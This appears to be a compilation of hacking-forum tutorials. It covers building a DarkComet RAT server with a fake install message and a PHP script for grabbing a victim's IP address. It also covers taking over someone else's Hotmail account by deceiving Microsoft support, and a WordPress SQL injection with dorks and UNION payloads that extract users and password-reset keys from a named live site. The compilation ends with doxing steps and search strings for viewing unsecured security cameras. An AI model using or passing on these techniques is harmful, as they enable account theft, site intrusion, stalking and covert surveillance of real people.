Remote Administration Tools

A remote administration tool (or RAT) is a program that allows certain persons to connect to and manage remote computers in the Internet or across a local network. A remote administration tool is based on the server and client technology. The server part runs on a controlled computer and receives commands from the client, which is installed on other remote host. A remote administration tool works in background and hides from the user. The person who controls it can monitor user’s activity, manage files, install additional software, control the entire system including any present application or hardware device, modify essential system settings, turn off or restart a computer.

https://www.youtube.com/watch?feature=player_embedded&v=5EHNEJMKJdU

• Go on http://www.no-ip.com/, Create your Account and click on "Download".
• Now Click on "Windows
• Now Click on "Download 3.0.4"
• Now you must install No-DUP 3.0, Click on "Next"
• Now, choose "Install Location" and click on "Next"
• Now choose "Start Menu Folder" and Click on "Install"
• Setup was completed successfully, click on "Close"
• Now, go on http://www.no-ip.com/ and click on "Login" then type your Email and your Password.
• Now, click on "Add a Host"
• Choose a "Hostname", enter your IP address and click on "Create Host".
•  Done, Now open No-IP DUC 3.0 and enter your email and your password and click on "OK"
• Now, Select your "HOST" and click on "Save".
• Done, you can close No-IP DUC 3.0
• Download DarkComet v4.0 here and run DarkComet. 
• Click on [+], Choose your port (I advice 1604) and click on "Listen".
• Now click on "Settings".
• Click on "Mo-IP Updater" and type your No-IP informations.
• Now you will edit your server, click on "Edit Server" and click on "Network Settings", enter your informations and click on "Test network".
• Click on "Module Startup" and choose your settings.
• Click on "Install Message" and choose your fake message.
• Now click on "Module Shield" and choose your settings.
• Now click on "Build Module" and click on "Build Server".
• See the Results
  
  

  Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

How To Grab Someone IP Address ?

I will you show you how to grab someone Ip address using PHP script.This method can be used to grab someone Ip address on yahoo or Facebook chat or by sending mail to victim. So Lets get started.


Copy the below codes into Notepad and save it as Grab.php (.php is must)

<?php
$hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']);
$img_number = imagecreate(400,95);
$backcolor = imagecolorallocate($img_number,10,102,153);
$textcolor = imagecolorallocate($img_number,255,255,255);
imagefill($img_number,0,0,$backcolor);
$number0 = " This is Your IP/Proxy";
$number1 = " IP: $_SERVER[HTTP_X_FORWARDED_FOR]";
$number2 = " Host/Proxy: $hostname";
$number4 = " _________________________________";
Imagestring($img_number,10,5,5,$number0,$textcolor);
Imagestring($img_number,10,5,25,$number1,$textcolor);
Imagestring($img_number,10,5,45,$number2,$textcolor);
Imagestring($img_number,10,5,50,$number4,$textcolor);
Imagestring($img_number,10,8,50,$number4,$textcolor);
Imagestring($img_number,10,5,10,$number4,$textcolor);
Imagestring($img_number,10,8,10,$number4,$textcolor);
header("Content-type: image/png");
imagepng($img_number);
$file=fopen("Name-here-to-protect-the-File.txt","a");
$file2 = "- IP joined - IP/Proxy: $_SERVER[HTTP_X_FORWARDED_FOR] - Host: $hostname - '\n' ";
fwrite($file, $file2);
fclose($file);
?>

Now make Free account on any of the free web hosting sites Ripway or on My3gb .

Now upload Grab.php to your web hosting site.

Copy the link of your uploaded file and send it to victim.

As soon as victim will click on your link his ip will be saved in your free web hosting site.

Enjoy you are Done !!

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hᴀᴄᴋɪɴɢ ᴛʜᴇ Hᴀᴄᴋᴇʀ - Bᴀᴄᴋᴛʀᴀᴄᴇ Kᴇʏʟᴏɢɢᴇʀ ᴏʀ Rᴀᴛ - Fɪᴠᴇ Sᴛᴇᴘs ᴛᴏ Rᴇᴍᴇᴍʙᴇʀ

Now all keyloggers and RATs are sending data to the hacker in regular intervals (usually every 5 to 10 minutes) by using one of the two methods below:

1. Using the Emails: where hacker configures his email ID and password while creating the server. Keylogger records the key strokes in a temp file and sends it to the hacker in form of emails. But this has a limit as most free email servers like Gmail or Yahoo or Hotmail has limit of 500 composed and received mails. So most hackers use the second method.

2. FTP server: While creating the keylogger server, hackers configure their FTP server, where they receive the logs of key strokes in the form of text file(usally labeled on the basis of current system time stamp). Hackers keylogger server uploads the files to FTP server after every few minutes interval.

If we monitor all data packages we can easily scan for one of these and then we'll have the hackers email info or FTP info. What can we do with this, you might ask; highly skilled hackers obviously won't allow this as they create a completely seperate email or FTP site which leaves no traces of them, but novice skilled hackers (there's plenty of those) will just use their own email or leaving behind information about them. An example could be that you find the name of the person from the email you backtraced - this ain't his primary email, so there's nothing valuable. From there you can look up his name on Google, you'll probably find his real email on some site; then simply try to login to it using the password from the fake email (most novice skilled hackers will have the same password).

Wireshark is a very famous network scanning hack tool which is used by hackers or network forensic experts to monitor the packet flow of their network cards like Ethernet or WLAN. It records each and every packet coming and going out of your system's Network card. Packets is just a bunch of data.

Whenever you feel anything suspicious in your system like your system is compromised or you are infected follow the steps below prior to removing the keylogger or RAT from your system.

Steps to reverse engeneering the email or FTP servers password:

1. First of all download and install Wireshark. You can easily get this simply by Googling it.
Note: While Wireshark is getting installed, ensure that it installs the Winpcap with it otherwise it won't work properly.

2. Now go to the "Capture"-button in the top menu of the Wireshark and select the interface (means your network card which can be Ethernet or WLAN).

3. It will now start capturing the packets through that Network card. What you have to do is just keep capturing the records for atleast 30 minutes for getting the best results. After x time, stop capturing the packets.

4. Now you need to filter your results, for this go to the filter box and type FTP and SMTP one by one. Note: if you get records for FTP then hacker has used FTP server and if you didn't get FTP that means the hacker has used SMTP, so give SMTP in Filter box.

5. As you scroll down you will find the “FTP username” and “Password” for victims ftp account in case FTP server is used. And if hacker has used SMTP then you will find "email address" and its "password" that hacker has used to create the server.

Note: This tutorial is only for Educational Purposes, I did not take any responsibility of any misuse, you will be solely responsible for any misuse that you do. Hacking email accounts is criminal activity and is punishable under cyber crime and you may get upto 40 years of imprisonment, if got caught in doing so.

Hotmail Account Hacking

I see alot of new members joining, and wanting to learn how to hack somebodies hotmail account..or asking others to do it for them.

Most are under the illusion that there's this "hack" button you can press and you instantly get their password, however this is not the case.

Most newb's are put off by the fact that they have to keylog or phish their way into getting a password, and they resort to asking the "hackers".

But i'll provide an easy alternative.

This method is called Reverting, and you will be sending a form in to microsoft customer support to reset the password for your (or somebody elses) hotmail account.

For this method, it helps to know the person, even a little, but i'll still give you a step-by-step tut on how to find the information and fill out each part of the form.

NOTE: THIS TUTORIAL IS FOR EDUCATIONAL PURPOSES ONLY, I AM NOT RESPONSIBLE IN ANY WAY FOR HOW THIS INFORMATION IS USED, YOU USE IT AT YOUR OWN RISK. YOU MAY LEARN ALSO HOW TO GET YOUR OWN ACCOUNT BACK FROM THIS.

Step 1: go here:

https://support.live.com/eform.aspx?prod...mcs&scrx=1

Step 2: Give them your victims full name.

Now, if you do not know their first name, try the following things to find it.

First, try using these two sites, simply enter their email and hit return.

http://www.pipl.com/email
http://com.lullar.com

if you want more, google their hotmail account(s), for example, type into google:

"victimshotmail@hotmail.com"


Include the quotes, cause this searches for only the hotmail account.

If you gain any results, it will most likely be forums or if you're lucky, social networking sites, that they have filled out their info on.

Go through these searches, and look at every one, even make a .txt file in notepad pasting down all the info you can on them.

Once you're done, if you havnt got their last name, keep reading..if you have, goto step 3.

Presuming you dont yet have their last name, try going to social networking sites, like:

http://www.myspace.com
http://www.facebook.com
http://www.bebo.com
http://www.friendster.com

Or any others you can think of, and search for their hotmail account using the websites search feature.
if you get any results, you're in luck, most of the time people include alot of information on themselves in there. Follow any leads you can find on the info, and even ask them or their friends (look up a tutorial on social engineering info out of people first, it will help).

Now another thing you can do is use http://www.whois.com IF your slave has their own website.

If you dont have it by now, maybe you should find an easier target, or if you're desperate, use this technique to hack one of their rl best friends, and alot of the time they have their full name assigned to your victims hotmail address, in their addressbook.

Or, I sometimes just say "I'm pretty sure I only put in my first name at registration, I'm paranoid like that" or something along those lines... It's worked for me.

BTW: This is called d0xing, or "documenting", basically harvesting info on people, it's completely legal as long as you get all your info from the public domain (forums, social networking sites etc).

Step 3: The e-mail address for us to send a response:

Simple, give them your email address... could use a fake one if you're paranoid (one you got access too), but I don't see any risk.

Step 4: Primary e-mail address/member ID

associated with the account you are inquiring about:
Here you put in your victims email address (the one you're trying to hack). Then click Continue.

Step 5: Date of birth.

You can simply give them the year, if you dont know any further then that..but if you want to be on the safe side, read step 2, and use those techniques to find their date of birth.

Step 6: Country

If you dont know their country, which you probably should, use their IP address which you will have in one of the next steps to find it, by using
http://www.ip-adress.com/ip_tracer/

Step 7: State

same deal, use their IP addy if you dont know it already

Step 8: ZIP or postal code

Same deal again, it's usually correct if you use the IP addy...just use http://www.ip-adress.com/ip_tracer/
and find their town/suburb or whatever, and google the ZIP code for it.

Step 9: The secret answer to your question

simply put "i dont remember"

Step 10: Your alternate email address

for this, you just put in the email address you're trying to hack, you dont need their alternate email address.

Step 11: Your IP Address

Okay so here's probably the toughest one, but it's still easy. (NOTE: It's very hard to revert an account unless you successfully complete this step)
There's alot of ways to get their IP, i'll give you the easy ones.

Email: Get them to send you an email somehow, it doesnt matter how, you can just send an email saying:

"hey, how are you?" and they'll probably reply. Once you have their email (dont use old emails, please, everybody uses dynamic IP's these days)
right click on it, and click "view source", you will see something like this:

...now you want to find "X-Originating-IP: [XX.XXX.XX.XX]" That is their IP address. If the email source is all jibberish and looks encrypted, try what one user suggested:

(09-24-2010 07:59 AM)TOMMIE Wrote:  This is from Hotmail? Right? I get this too..
I forwarded these emails to my broadband providers base email (NOT Webmail), then selected each one and `Save as`, it will prompt you to save in .eml format - save to desktop, then right-click and open in Notepad. You will see detail then.
hth

Website: Go here http://www.syntaxmaster.info and register an account for free, it's real easy.

Now once you're registered, go to Software/Tools > IP Stealer; and then you can type in the URL you want your IP stealer to redirect to.. so just google or myspace or something will do. Now you'll see above that they give you your URL, you just send them there and it'll grab their IP, redirect them to google (or whatever site you choose), and then show their IP down at the bottom of the page.

I suggest using spam or http://www.doiop.com/ to shorten your URL and make it custom, you could make it something like:

http://www.doiop.com/profile-329479

And viola it'll look like a social networking site "Hey, I'm katie. :) I'm looking to meet new people and was wondering if you wanted to be friends? ^_^ This is my profile btw: <give fake link>"

Something like thaat. :P

MSN: if you can talk to them on msn, then you can get their IP that way too..there's two ways, either download a easy-to-use script, or do it manually with cmd,
i'll show you how to do it manually first.

Manually: Send them a file, or get them to send you a file.
"hey, i love that song, can you send me it?" or "omg, this is the funniest picture ever".
Before you start the transfer though, goto start > run (if you're using vista, just press the windows key) and type in cmd, and hit enter.

type in the following: netstat -n

and hit enter, it will show you a list of active connections to different IP's.

Remember or take a screenshot of those IP's, because once you start the transfer, type in netstat again while it's transferring and check for any new IP's, that is your victims IP.

With a script:

IF you have windows live messenger plus (probably the best WLM IMO), download this script:
http://rapidshare.com/files/133356881/IPGet_1.50.rar
It's called IP-Get, and will show you your current msn contacts IP addresses IF you're currently connected to them with a fileshare. It will also allow you to save the IP addresses, and look up their locations.

Here is a screenie of IP-get:

There are other ways, but surely, you should have been able to get their IP by now...if not, look up a tut on it, using the search feature.

Step 12: Your internet service provider

very easy to find, use their IP, either using the IP get script if you have it, or http://www.ip-adress.com/ip_tracer/

Step 13: The last date and time that you successfully signed in

Unless you know this as a fact, either take your best guess, say you dont remember, or yesterday.

Step 14: The names of any folders that you created in addition to the default folders
leave this blank, or say you dont know (unless you know this for a fact).

Step 15: Names of contacts in your hotmail address book

give them all the contacts you know are definately or most likely in there, including yourself, and even their other accounts (they might add themselves, everybody seems to). Also give them wilma@live.com and smarterchild@hotmail.com, as most people have them added.

Step 16: Subjects of any old mail that is in your inbox

okay just use common sense for this one, things to include are:
hey, how are you, RE:, FW:, admin, windows live, hotmail staff, recovery, registration, support, lol, password, comfirmation, noreply, delivery status notification (failure).

Also, if they are subscribed to any forums (like hackforums(but please dont hack other HF members :P)), social networking sites (like myspace, bebo) or online games (like RuneScape, WoW), then be sure to include them too.

Step 17: Names of contacts on your messenger contact list

If you happen to know any of their friends, this is where you put their display name...if you dont have them added, put their first names, and if you dont know them at all, just leave it blank, or say you dont remember.

Step 18: Your Messenger nickname

If you know it, put it in..if you dont, say "i cant remember it exactly" or leave it blank.

Step 19:

The rest you dont really need to worry about, except for in additional info, can put anything else that might make you sound more convincing..like:

"please do your best to recover my account, i dont want to go and have to add all my friends again, it'd be a great help if you got it back for me, thank you in advance."

obviously dont put exactly that, but you get the gist of it :)

Okay, i believe that is it, within 24 hours you will recieve an email from customer support, they will either give you a link to reset your (victims) password, or ask for you to send it again with more info, as an email reply..and in that case, you dont have much luck, cause they can just get your IP address from the email and know you're lying :) so try again, and hope you get a more gullible staff member. If you have firefox, click the spoiler.

I did give you a link to download earlier, here is a virus scan for you guys who arent sure.

Quote:File Info
Report generated: 1.7.2009 at 14.45.40 (GMT 1)
Filename: IPGet_1.50.plsc
File size: 721 KB
MD5 Hash: 081f4ed7f145689e1911b16fc49fa4b4
SHA1 Hash: 3B9348B972ACA7006F9E38951EE76AB632F54EF0
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 24

Detections

a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
G-Data - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
Malware Hash Registry - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -

Scan report generated by
NoVirusThanks.org

If you have any questions, ask here, do not PM me. I didn't rip any of this from other tuts, typed it up myself. Thanks for reading, I know it's long, I've reached the max character limit :(

FAQ:

Q: My target has moved location since he/she registered, do I put in old or new info?
A: Put in the information they registered with, the old information.

Q: I looked up where they live, there's atleast 20 post codes for that area! How do I know which one is theirs?
A: You'll most likely find they all start with the same two digits, if they do, it doesnt matter which one you pick all will work. Since they only go by the first two digits when validating the zip/postal code, you dont need to know their address or anything, you could even go by IP location.

Q: I dont know their age! What should I put in?
A: If you dont know their age, try 1992, that usually works for some reason.

Q: They wont reply to emails from me, I dont know how else to get their IP?
A: If you dont want to add them on MSN and use IP get or CMD, a way that has worked for me is using the site I showed you: http://www.reza24.com/ip and masking your link with a URL shortening site. Three sites I know of are:

* http://www.tiny url.com <<< I need to put a space in it, otherwise it's censored for obvious reasons.
* http://rickroll.it/ <<< dont worry, it's not a real rick-roll lol.

Or one somebody just showed me and it's worked like a treat:
* http://doiop.com/

The first one you could pretend is some kind of picture site, the second one you could say something like "omg dude check this out, this site makes free links that redirect to a rickroll! http://rickroll.it/custom-rickroll", but dont actually go there i'm not sure where that link leads to lol.
The third is great though, it could pass as a social networking site like myspace.

Q: Do any other webmails hosts like yahoo mail or Gmail use this? Can I use this method on there too?
A: They have revert forms too, but they log your IP when you submit it, so they will know you're not the owner of the account. Hotmail doesnt log your IP.

Hack WordPress Site With SQL injection

As requested by few of you i decided to make this small tutorial on how to hack a wordpress site that has an SQLi in plugin.

So lets begin.
I will use this 0day here
First of all we need to find a vulnerable page.
We enter this in Google:

Code:

# Dork 1 (config.php)
inurl:"/wp-content/plugins/hd-webplayer/config.php?id="

# Dork 2 (playlist.php)
inurl:"/wp-content/plugins/hd-webplayer/playlist.php?videoid="

# Dork 3 (General):
inurl:"/wp-content/plugins/hd-webplayer/"

When you found your site you need to find admin email and username.
I will be using this site for example:

Code:

http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=3



When i add ' text disappears so it is vulnerable.



NOTE: I will not demonstrate how to SQL inject.

Now we need admin username and email.
We need to inject:

Code:

http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--
Now we have 2 users.



We pick one and copy his email.
Go to the login page of the site.
It is usually here:

Code:

http://www.site.com/wp-login.php
And press "Lost your password?"



Now you enter either username or email.
We can enter both so it doesnt matter.
I entered email.




Now when you got:

"Check your e-mail for the confirmation link."

It means that reset key is successfully sent.
Now we need to get the activation key.

Go back to the syntax you used for extracting email and username and do this:

Code:

http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_email,0x3b),5,6,7,8,9,10,11 FROM wp_users--

Code:

http://www.thefreenudecelebritysite.com/wp-content/plugins/hd-webplayer/playlist.php?videoid=-3 UNION SELECT 1,2,3,group_concat(user_login,0x3a,user_activation_key,0x3b),5,6,7,8,9,10,11 FROM wp_users--



Voila!
Now we just need to reset it.

Go to:

Code:

wp-login.php?action=rp&key=resetkey&login=username
NOTE: Replace key= & login=

So my link will be:



Enter new password:




Login with new password and shell it.

That's it guys.

Thanks for reading! 

How to Dox

How to Dox

Welcome to my tutorial on how to dox!
This tutorial was created for educational purposes, I am not responsible for how you use it.
Please give feedback because it did take a while to make this tutorial.

Requirements

- The Internet
- A Brain
- Simple Social Engineering Skills
- Notepad

Setup Notepad

Start off by creating a new text document in Notepad and paste this into it:

First Name:
Last Name:
Age:
Gender:
Street Address:
Suburb:
Postal code:
City:
State:
Country:
School/University/Job:
Facebook:
Picture:
Skype:
Mum:
Dad:
Brother: (optional)
Sister: (optional)
ISP Name:
IP Address:
Country code:
Region:

Now we are going to move onto getting their IP address.

Grabbing their IP Address

There are a few methods to grabbing their IP and I will show you all of them I know. :)
Method 1 - Skype Resolver

If you would like to use this method you will need their Skype username.
If you don't have their Skype username go to method 2 please.
Now what you want to do is go to http://skypegrab.info/ and simply type in their Skype username where it specifically says 'Skype Username'.

It should like this:



After you type in the Skype username click 'Resolve' then give it a few seconds, then it should pop up saying something like this:



Voila! You now have their IP address. :)

Method 2 - Manipulation

To use this method you are going to need to go to http://whatstheirip.com/ and follow the steps there.
More methods will be added soon!

Grabbing Information from their IP Address

Go to http://ip-lookup.net/ and scroll down then enter the user's IP address where it says your IP address and then you'll have all the information that can be grabbed from and IP address.

Grabbing Information from their Domain

Assuming the user has a domain name their will always be information on their 'whois' page unless they have a whoisguard or entered fake information.
To use this method is very simple.
Go to http://whois.domaintools.com and enter their domain name in.
Now you should see a list of everything about them (first name, last name, address, phone number etc) unless they have been using a whoisguard or fake information and if that is the case there are always more of my methods. :)

Grabbing Information from their Email, Name, Username or Phone

Simply go to https://pipl.com and enter their email, name, username or phone number their and it will try to find us much information that is on the internet about that user.
If that method is not working, you are going to need to wait a few days for my next method to come out on this thread, so just stick around. :)

Conclusion

It took 1 hour to make this tutorial and it only takes 5 seconds to say thanks, so please do it.
I wrote everything in this tutorial myself, no information was copied.
Thank you for reading this tutorial, please say thanks!

How To Access Unsecured Security Cameras Around The World

How To Access Unsecured Security Cameras Around The World

Watch Security Cameras

All what we are looking at are unsecured cams from
around the world that are interfaced with the internet. So
how do you find such cameras. Just google any of these
following strings and select any result.

Whoa, you can see a live cam on your PC screen!! The
strings are given below:

inurl:"CgiStart?page="
inurl:/view.shtml
intitle:"Live View/ — AXIS
inurliview/view.shtml
inurl:ViewerFrame?M0de=
inurl:ViewerFrame?M0de=Refresh
inurliaxis-cgi/jpg
inurliaxis-cgi/mjpg (motion-JPEG) (disconnected)
inurl:view/indexFrame.shtml
inurliview/index.shtml
inurliview/view.shtml
liveapplet
intitle:"live view" intitle:axis
intitleiliveapplet
allintitle:"Network Camera NetworkCamera" (disconnected)
intitleiaxis intitle:"video server"
intitleiliveapplet inurl:LvAppl
intitle:"EvoCam" inurl:"webcam.html"
intitle:"Live NetSnap Cam-Server feed"
intitle:"Live View/ — AX|S"
intitle:"Live View/ — AXIS 206M"
inti’r|e"'l ive View / — AXIS 706W"
intitle:"Live View/ — AXIS 210?
inurl:indexFrame.shtml Axis
inurl1"MultiCameraFrame?Mode=Motion" (disconnected)
intitleistart inurl:cgistart
intitle:"WJ-NTI 04 Main Page"
intitleisnc-220 inurl:home/
intitleisnc-cs3 inurl:home/
intitleisnc-r230 inurl:home/
intitle:"sony network camera snc-pl ?
intitle:"sony network camera snc-ml ?
site:.viewnetcam.com -www.viewnetcam.com
intitle:"Toshiba Network Camera" user Iogin
intitle:"netcam live image" (disconnected)
intitle:"i-Catcher Console — Web Monitor"

*As always, this tutorial is for Educational purpose only.
The main purpose is to keep the readers stay informed
about these vulnerabilities.